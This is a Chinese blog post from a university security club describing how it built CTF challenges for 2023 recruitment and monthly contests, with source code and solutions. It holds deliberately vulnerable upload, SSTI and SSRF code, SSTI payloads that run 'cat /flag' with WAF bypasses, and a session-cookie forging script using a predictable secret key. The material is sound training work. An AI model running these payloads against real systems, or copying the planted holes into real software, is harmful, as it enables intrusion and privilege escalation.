校内赛出题流程(23年招新-23年11月月赛)

发布于 2023-11-28  0 次阅读


好久没写点什么东西下来了,慢慢整理一下吧

2023招新彩蛋

附件

https://pan.baidu.com/s/1ujV-En2gHivuQ_1nU-Is3Q?pwd=NEUQ

WriteUp

2023招新赛

附件、环境

FlappyBird:monianbox.top/FlappyBird/

等价交换自己搭

其他:https://pan.baidu.com/s/1buAZnSQAfgaAl0AAag05jQ?pwd=NEUQ

出题流程

Web

FlappyBird

只需114514分即可获得flag!

题目地址 https://monianbox.top/FlappyBird/
flag{85499ca1-b21a-40f4-90c8-2cd28d8dcd5b}

等价交换

10分钟清一次/upload

进容器:docker exec -it b9669f7e0998 /bin/bash

看看大家整了什么活:docker cp b9669f7e0998:/root/upload /tmp/upload

<!DOCTYPE html>
<html>
<head>

    <meta charset="UTF-8">
    <title等价交换</title>
    <style>
        .centered-image {
            max-width: 500px;
            max-height: 500px;
            display: block;
            margin: 0 auto;
        }
    </style>
</head>
<body>
    <?php
        header("Content-type: text/html;charset=utf-8");
        error_reporting(0);
        define("UPLOAD_PATH", dirname(__FILE__) . "/upload/");
        define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH));
        if (!file_exists(UPLOAD_PATH)) {
            mkdir(UPLOAD_PATH, 0755);
        }
        $is_upload = false;
        if (!empty($_POST['submit'])) {
            if (!$_FILES['file']['size']) {
                echo "<script>alert(\喵?\");</script>";
            } else if ($_FILES['file']['size'] > (5 * 1024 * 1024)) {
                echo "<script>alert(\"文件太大了喵~\");</script>";
            } else {
                $file = fopen($_FILES['file']['tmp_name'], "rb");
                $bin = fread($file, 4);
                fclose($file);
                if (!in_array($_FILES['file']['type'], ["image/jpeg", "image/jpg", "image/png", "image/gif"])) {
                    echo "<script>alert(\"你要干什么喵???\");</script>";
                } else if (!preg_match('/^(89504E47|47494638|FFD8FF[0-9A-Za-z]{2})$/i', bin2hex($bin))) {
                    echo "<script>alert(\"你要干什么喵!!!\");</script>";
                } else {
                    $name = basename($_FILES['file']['name']);
                    if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
                        $is_upload = true;
                    } else {
                        echo "<script>alert(\"喵~\");</script>";
                    }
                }
            }
        }
    ?>

    <br>
    <div>
        <?php
            if($is_upload){
                echo '文件已上传至upload/'.$name.'</br></br>';
                echo "谢谢喵,这是送给你的喵";
                    $json_url = 'https://image.anosu.top/pixiv/json?proxy=i.pixiv.re&size=regular&db=1&r18=0';
                    $json_data = file_get_contents($json_url);
                    $data = json_decode($json_data, true);
                    $image_data = $data[0];
                    $image_url = $image_data['url'];
                    $image_title = $image_data['title'];
                    echo '<img src="' . $image_url . '" alt="' . $image_title . '" class="centered-image">';

            }
        ?>
    </div>
    <form action="" method="post" enctype="multipart/form-data">
        <input type="file" class="form-control-file" name="file" id="file">
        <input type="submit" name="submit" value="Upload" />
    </form>
</body>
</html>

flag{63c880f1-9107-4fc4-bf1b-0fb158739f5e}

Miscellaneous

有点奇怪的二维码

出题脚本

from PIL import Image

def hide_qrcode_in_image(image_path, qrcode_path, output_path):
    image = Image.open(image_path)
    qrcode = Image.open(qrcode_path)

    image_size = image.size
    qrcode = qrcode.resize(image_size).convert("RGBA")

    image_data = image.getdata()
    qrcode_data = qrcode.getdata()

    new_data = []
    for image_pixel, qrcode_pixel in zip(image_data, qrcode_data):
        # 将二维码的RGB值的最低位替换为源图像的RGB值
        new_pixel = (
            (qrcode_pixel[0] & 0xFE) | (image_pixel[0] & 1),
            (qrcode_pixel[1] & 0xFE) | (image_pixel[1] & 1),
            (qrcode_pixel[2] & 0xFE) | (image_pixel[2] & 1),
            qrcode_pixel[3]
        )
        new_data.append(new_pixel)

    result_image = Image.new("RGBA", image_size)
    result_image.putdata(new_data)
    result_image.save(output_path)

carrier_image_path = 'flag.png'  # 需要隐藏的二维码
qrcode_image_path = 'qrcode.png'  # 目标二维码
output_image_path = 'output.png'  # 输出文件路径

hide_qrcode_in_image(carrier_image_path, qrcode_image_path, output_image_path)

flag{e6a83f29-ea1d-4694-a16b-369cbe5f0312}

матрёшка

出题脚本

import random
import subprocess
import os

def generate_expression():
    operands = [random.randint(1000000000, 9999999999) for _ in range(4)]
    operators = [random.choice(['+', '-']) for _ in range(3)]
    expression = str(operands[0])
    for op, optr in zip(operators, operands[1:]):
        expression += ' {} {}'.format(op, optr)
    return expression

def begin():
    #初始化
    password_txt = generate_expression()
    password = str(eval(password_txt))
    print("{} = {}".format(password_txt,password))
    with open('password.txt', 'w') as file:
        file.write(str(password_txt))
    subprocess.run(["rar.exe", "a", "-p%s" % password, "0000.zip", "flag.txt"], check=True,stdout=subprocess.PIPE)

begin()

for i in range(3):
    password_txt = generate_expression()
    password = eval(password_txt)
    print("{:04d} {} = {}".format(i,password_txt,password))
    subprocess.run(["rar.exe", "a", "-p%s" % password, "{:04d}.zip".format(i+1), "password.txt"], check=True,stdout=subprocess.PIPE)
    subprocess.run(["rar.exe", "a", "-p%s" % password, "{:04d}.zip".format(i+1), "{:04d}.zip".format(i)], check=True,stdout=subprocess.PIPE)

    os.remove("password.txt")
    os.remove("{:04d}.zip".format(i))
    with open('password.txt', 'w') as file:
        file.write(str(password_txt))

题解

import os
import subprocess
for i in range(1000)[::-1]:
    with open("password.txt", 'r', encoding='utf-8') as file:
        password = eval(file.read())
    subprocess.run(["rar.exe", "x", "-p%s" % password, "-y","{:04d}.zip".format(i)], check=True)
    os.remove("{:04d}.zip".format(i))

你也喜欢套娃吗?

hint:善用脚本

flag{9f5798d8-12fb-5e18-063d-459814f1d2e4}

Login

出题脚本

import os
import imageio

def create_gif(image_folder, gif_name, duration=0.02):
    frames = []
    for filename in os.listdir(image_folder):
        if filename.endswith(".jpg"):
            image_path = os.path.join(image_folder, filename)
            frames.append(imageio.imread(image_path))
    imageio.mimsave(gif_name, frames, 'GIF', duration=duration)
    return

def main():
    image_folder = '2'
    gif_name = '2.gif'
    duration = 0.1
    create_gif(image_folder, gif_name, duration)

if __name__ == '__main__':
    main()

欢迎来到NEUQCSA,玩得开心!

flag{Welcome_to_NEUQCSA}

Social Engineering

简单社工

格式:XX省XX市XX区(直辖市为XX市XX区),使用flag{}包裹后提交

例如:flag{河北省秦皇岛市海港区}

flag{陕西省西安市雁塔区}

WirteUp

2023-10月月赛

环境

原神 http://monianbox.top:7720/

出题流程

《原神》是由米哈游自研的一款全新开放世界冒险RPG。你将在游戏中探索一个被称作「提瓦特」的幻想世界。

靶机要跑两个服务,一个node.js一个python,开两个端口,那个127.0.0.1得改成实际IP,我也不知道为什么不行,不然开一个端口就够了

下面代码是我在本地写的,到远程好像又改了点,反正题不咋地,跑不动就算了

先从gamemcu/www-genshin (github.com)把完整代码下下来

题目拿https://www.bilibili.com/video/BV1E8411v7xy改的,除了UI删了一些内容之外,改的还有www-genshin\src\core\GameManager.ts的restart()函数

public restart() {
        const data = {
            // gamelist: ["Genshin"]
            gamelist: ["Arknights","Starrail","Genshin"]
          };
          
          fetch('http://127.0.0.1:80/api', {
            method: 'POST',
            headers: {
              'Content-Type': 'application/json'
            },
            body: JSON.stringify(data)
          })
            .then(response => response.json())
            .then(data => {
              console.log(data)
              const result = data.result;
              const check = data.check;
              alert(result);
              if(check){
                window.location.href = "https://ys.mihoyo.com/main/";
              }else{
                location.reload();
              }
            })
            .catch(error => {
              console.error('出现未知错误:', error);
            });
        // location.reload();
    }

API是Python的Flask框架,为了揉一个SSTI进去


from flask import Flask, request, render_template_string
from flask_cors import CORS

flag2 = "flag{level2-b426d152-9d01-96c0-8b93-7328eefcc91b}"

app = Flask(__name__)
CORS(app)
@app.route('/', methods=['GET'])

@app.route('/api', methods=['POST'])
def receive_post_data():
    if request.method == 'POST':
        try:
            example = request.get_json()["gamelist"]
            #WAF
            WAFlist = ["{{","}}","[","]","1","2","3","4","5","6","7","8","9","0"]
            for string in WAFlist:
                if string in str(example)[1:-1]:
                    response_data = {
                        "message" : "HACKER WARNING",
                        "result" : "天理注视着你",
                        "check" : False
                    }
                    return response_data, 400
            #WAF END
            checkmessage = "由于你安装了原神以外的游戏,不允许你进入提瓦特大陆!"
            check = False
            if isinstance(example, list):
                if all(item in ["genshin","Genshin","ys","yuanshen","Genshin impact","Genshin Impact","genshin impact"] for item in example):
                    checkmessage = "欢迎来到提瓦特大陆!一点小心意送给你:\n{}".format(flag2)
                    check = True
            gamelist = "你的电脑中有以下游戏:%s"%(example)
            response_data = {
                "message" : render_template_string(gamelist),
                "result" : checkmessage,
                "check" : check
            }
            return response_data, 200
        except Exception as e:
            response_data = {
                "message" : "ERROR:"+ str(e),
                "result" : "你在干什么?",
                "check" : False
            }
            return response_data, 400

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

flag{level1-6f5ea554-e6b9-4050-9bbb-3bd50bc0eae9}

这个直接放在index.html的源码里了,像这样:

<!doctype html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <link rel="icon" type="image/svg+xml" href="https://ys.mihoyo.com/main/favicon.ico" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0,maximum-scale=1.0, user-scalable=no" />
  <meta name="description" content="An online genshin loading demo, created by TEAM.x.y.z. team." />
  <meta name="About" content="View https://www.bilibili.com/video/BV1E8411v7xy/" />
  <meta name="modify" content="Modified by MonianHello, for non commercial use only" />
  <meta name="flag" content="ZmxhZ3tsZXZlbDEtNmY1ZWE1NTQtZTZiOS00MDUwLTliYmItM2JkNTBiYzBlYWU5fQ==" />
  <title>原神</title>
</head>
<body>
  <div id="root"></div>
  <script type="module" src="/src/main.tsx"></script>
</body>
</html>

觉得挺简单就当签到出了,结果Web手也有好多人没找到,下次不能这么干了

flag{level2-b426d152-9d01-96c0-8b93-7328eefcc91b}

POST请求,抓完把原神之外的删了就行

flag{level3-192c7843-307a-70fc-330a-4be9d17d0b03}

这个题目里写SSTI了。没办法,硬缝上去的,正常人谁能在这放个模板的洞

一个环境揉好几道题,这就是原神给我的自信

docker exec -it b2e1d42c80d5 /bin/bash

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 
b2e1d42c80d5 ssti:latest "docker-entrypoint.s…" 3 hours ago Up 3 hours 0.0.0.0:7721->80/tcp, :::7721->80 /tcp, 0.0.0.0:7720->5173/tcp, :::7720->5173/tcp, 0.0.0.0:7722->8080/tcp, :::7722->8080/tcp admiring_maxwell

SSTI注入

{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

绕一下过滤:

{%print(config.__class__.__init__.__globals__.__getitem__('os').popen('cat /flag').read())%}

其他人的wp:

{%set i='abcdefghijkl'|length*'abcdefghijkl'|length-'abcd'|length%}{%print(().__class__.__base__.__subclasses__().__getitem__(i).__init__.__globals__.popen('cat /flag').read())%}

怎么过WAF

{{xxx}}:{%print(xxx)%}

[]:getitem()

"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)

其他怎么过滤的看这个吧:https://blog.csdn.net/weixin_52635170/article/details/129856818

2023-11月月赛

这次主要弄了两个misc,一个脑洞一个流量,流量还是USB流量

Web的话就看了看前两天HECTF,拿前两年国赛题改了一个

HECTF2023:【wp】2023第七届HECTF信息安全挑战赛 Web-CSDN博客

[CISCN2019 华东南赛区]Web4:ctf_challenges/web/CISCN_2019_southeastern_China_web4 at main · le31ei/ctf_challenges (github.com)

附件、环境

https://pan.baidu.com/s/1uQJJdEZ9zF1LEQlokjio4w?pwd=NEUQ

ezInclude:monianbox.top:7723

出题流程

Misc

rainbow

碰上彩虹,__ __ __ __ 

这题很久以前就想着要出了,用十六种颜色代替十六进制0-F,之后读文件二进制流再合成一张图片

彩虹脚本(给0-F对应的颜色):

from PIL import Image

color_mapping = {
    '0': (0, 0, 0, 255),
    '1': (0, 0, 255, 255),
    '2': (0, 255, 0, 255),
    '3': (128, 255, 128, 255),
    '4': (255, 0, 0, 255),
    '5': (255, 0, 255, 255),
    '6': (255, 255, 0, 255),
    '7': (255, 255, 255, 255),
    '8': (128, 128, 128, 255),
    '9': (0, 128, 255, 255),
    'A': (0, 255, 128, 255),
    'B': (128, 255, 255, 255),
    'C': (255, 128, 128, 255),
    'D': (255, 128, 255, 255),
    'E': (255, 255, 128, 255),
    'F': (255, 255, 200, 255)
}
gradient_width = 800
gradient_height = 100
color_width = gradient_width // len(color_mapping)
image = Image.new("RGBA", (gradient_width, gradient_height))
for i, key in enumerate(color_mapping):
    color = color_mapping[key]
    start_x = i * color_width
    end_x = (i + 1) * color_width
    image.paste(color, (start_x, 0, end_x, gradient_height))

image.save("ribbon.png")

文件转十六色图片脚本:

from PIL import Image

def hex_to_rgba(hex_color):
    hex_color = hex_color.lstrip('#')
    color_mapping = {
    '0': (0, 0, 0, 255),      # 黑色
    '8': (128, 128, 128, 255),  # 灰色
    '1': (0, 0, 255, 255),    # 蓝色
    '9': (0, 128, 255, 255),  # 淡蓝色
    '2': (0, 255, 0, 255),    # 绿色
    'A': (0, 255, 128, 255),  # 淡绿色
    '3': (128, 255, 128, 255),  # 浅绿色
    'B': (128, 255, 255, 255),  # 淡浅绿色
    '4': (255, 0, 0, 255),    # 红色
    'C': (255, 128, 128, 255),  # 淡红色
    '5': (255, 0, 255, 255),  # 紫色
    'D': (255, 128, 255, 255),  # 淡紫色
    '6': (255, 255, 0, 255),  # 黄色
    'E': (255, 255, 128, 255),  # 淡黄色
    '7': (255, 255, 255, 255),  # 白色
    'F': (255, 255, 200, 255),  # 亮白色
}
    if hex_color.upper() in color_mapping:
        return color_mapping[hex_color.upper()]
    else:
        return (0, 0, 0, 255)

def array_to_image(color_array, pixel_size=16):
    original_size = int(len(color_array) ** 0.5)
    if original_size ** 2 < len(color_array):
        original_size += 1
    enlarged_size = original_size * pixel_size
    img = Image.new('RGBA', (enlarged_size, enlarged_size), (0, 0, 0, 0))
    for i, hex_color in enumerate(color_array):
        rgba_color = hex_to_rgba(hex_color)
        x = (i % original_size) * pixel_size
        y = (i // original_size) * pixel_size
        for dx in range(pixel_size):
            for dy in range(pixel_size):
                img.putpixel((x + dx, y + dy), rgba_color)
    img.save(output_image_file)

def file_to_hex_string(input_file):
    with open(input_file, 'rb') as f:
        data = f.read()
        hex_string = data.hex()
    return hex_string

if __name__ == "__main__":
    input_file = "flag.zip"
    output_image_file = "flag.png"
    pixel_size = 32

    array_to_image(file_to_hex_string(input_file), pixel_size)

pixel_size是放大倍数,毕竟转换完像素太小了不好看,也增加一点点难度

USB

流量题不少见,但都是网络流量,手头有数位板正好出个USB流量的题

首先是很长很长的USBHID协议全文:Universal Serial Bus HID Usage Tables (usb.org)

其实看这一页就可以

实际上我一页也没看 : )

反正就那几个字节还能怎么组合,大小端序咱也不懂,我一开始也不知道自己数位板流量是什么形式的

有个好方法就是把HID数据全提出来,之后滚鼠标滚轮,看那一堆数据怎么变化的

数位板这东西跟鼠标差不多,就是多一个压感,对比着看就知道x y还有那什么压感都搁哪了

总结就是多试

Web

ezInclude

一共就仨题我分这么细的小标题干嘛

算了,无所谓了

首先是题目,我先不说这个是py2还是py3,你能看出来是python几吗:


# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*42)
app.debug = True
@app.route('/')
def index():
    try:
        session['username'] = 'guest'
        return 'flag大促销! <br> <a href="/read?url=http://monianbox.top/pic.html">点击就送不要钱!</a>'
    except Exception as e:
        print str(e) 
    return '?'
@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'GET OUT BABY HACKER!'
        web = urllib.urlopen(url)
        return web.read()
    except Exception as e:
        print str(e) 
    return '?'

@app.route('/flag')
def flag():
    if session and session['username'] == 'admin':
        return open('/flag').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0",
        port="8080"
    )

分辨py2还是py3主要看是print("")还是print "",可惜py2这俩都能用,具体为什么看下python2和python3中print的区别 - Python基础教程 (python51.com)(我随便找的),简单来说就是py2里print是语法结构也是函数,py3就只剩函数一个功能了,函数就得加括号

而且我没在最上面加python2,最重要的是exp不用python2解出来的session是错的

下次出python2的题得在开头写上#!/usr/bin/env python2,这样就不用我连着加两个hint了

其实读proc的cmdline也能看出来,不过正常人应该没这习惯:

monianbox.top:7723/read?url=/proc/self/cmdline


/usr/bin/python2/app.py

版本问题先聊到这,再说说为什么我说这题和HECTF有关

HECTF就在月赛前两天,我也没打,快到上题时间了想着看看wp复现复现算了

之后就是传统艺能 抄

伪装者有个session伪造,ssrf读文件;EZphp有个伪随机数,缝一起,诶,CISCN 2019 华东南 Web4

又水一次~

WriteUp

Misc

rainbow

上面都分类了,这里也把小标题写上吧,整齐一些

先拿ps啥的把图片弄到每个像素1*1大小,方便

ps的话记得用硬边缘,不然算法会给边缘混色的

exp:

from PIL import Image

# 定义像素值到字符的映射关系
pixel_to_char = {
    (0, 0, 0, 255): '0',        # 黑色
    (128, 128, 128, 255): '8',  # 灰色
    (0, 0, 255, 255): '1',      # 蓝色
    (0, 128, 255, 255): '9',    # 淡蓝色
    (0, 255, 0, 255): '2',      # 绿色
    (0, 255, 128, 255): 'A',    # 淡绿色
    (128, 255, 128, 255): '3',  # 浅绿色
    (128, 255, 255, 255): 'B',  # 淡浅绿色
    (255, 0, 0, 255): '4',      # 红色
    (255, 128, 128, 255): 'C',  # 淡红色
    (255, 0, 255, 255): '5',    # 紫色
    (255, 128, 255, 255): 'D',  # 淡紫色
    (255, 255, 0, 255): '6',    # 黄色
    (255, 255, 128, 255): 'E',  # 淡黄色
    (255, 255, 255, 255): '7',  # 白色
    (255, 255, 200, 255): 'F',  # 亮白色
}

def image_to_string(image_path):
    img = Image.open(image_path)
    pixels = list(img.getdata())
    result = ''
    for pixel in pixels:
        char = pixel_to_char.get(pixel, ' ')
        result += char
    return result

def hex_string_to_file(input_hex_string, output_file):
    hex_data = bytes.fromhex(input_hex_string)
    with open(output_file, 'wb') as f:
        f.write(hex_data)

image_path = 'flag.png'

result_string = image_to_string(image_path)
print(result_string)
hex_string_to_file(result_string,"output.zip")

我当时写的时候就想,有没有人纯人工识别,一个字节一个字节敲上去的

毅力可嘉

USB

命令行那个tshark我不太会用,我就把数据全提出来用了个正则

import re
import matplotlib.pyplot as plt
with open('usb.txt', 'r') as file:
    usb_traffic = file.read()
hid_data_pattern = re.compile(r'HID Data: ([0-9a-fA-F]+)')
hid_data_matches = hid_data_pattern.findall(usb_traffic)
hex = [match for match in hid_data_matches]
xx = []
yy = []
for i in hex:
    try:
        x0=int(i[4:6],16)
        x1=int(i[6:8],16)
        x=x0/256+x1
        y0=int(i[8:10],16)
        y1=int(i[10:12],16)
        y=y0/256+y1
        print("{}  ->\t{:.6f}\t{:.6f}".format(i,x,y))
        xx.append(x)
        yy.append(-y)
    except:
        pass
fig = plt.figure()
ax1 = fig.add_subplot(111)
ax1.scatter(xx, yy)
plt.show()

网上找的脚本改一改就有了

Web

ezInclude

读monianbox.top:7723/read?url=/proc/self/cmdline可以知道是python2,文件叫app.py

读app.py,注意到伪随机生成sk

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*42)

uuid.getnode()返回的是网卡mac地址,读monianbox.top:7723/read?url=/sys/class/net/eth0/address


02:42:ac:11:00:03

把他变成数字删掉冒号就行,记得加0x

这里的random.random()就是上文提过的py2到py3的坑,同一个seed在py2和py3下的结果不同

应该说精度不同?

所以有了这俩Hint

剩下就是算session把guest改成admin就可以了

#!/usr/bin/env python2
# encoding:utf-8

import random
import session_cookie_manager

mac = "02:42:ac:11:00:03"
random.seed(int(mac.replace(":", ""), 16))
for x in range(1000):
    SECRET_KEY = str(random.random() * 42)
    rs = session_cookie_manager.FSCM.decode('eyJ1c2VybmFtZSI6eyIgYiI6IlozVmxjM1E9In19.ZVx3mw.-YsLgVB7USQ8EeZi-yIE1Nr0O30', SECRET_KEY)
    if 'error' not in rs:
        print(SECRET_KEY)
        rs[u'username'] = 'admin'
        print(str(rs))
        print(session_cookie_manager.FSCM.encode(SECRET_KEY, str(rs)))
        break

不用脚本自己算也是可以的

其中import session_cookie_manager是这个noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder (github.com),放一个目录下就可以了

未完待续...


若金色的阳光停止了它耀眼的光芒,你的一个微笑,将照亮我的整个世界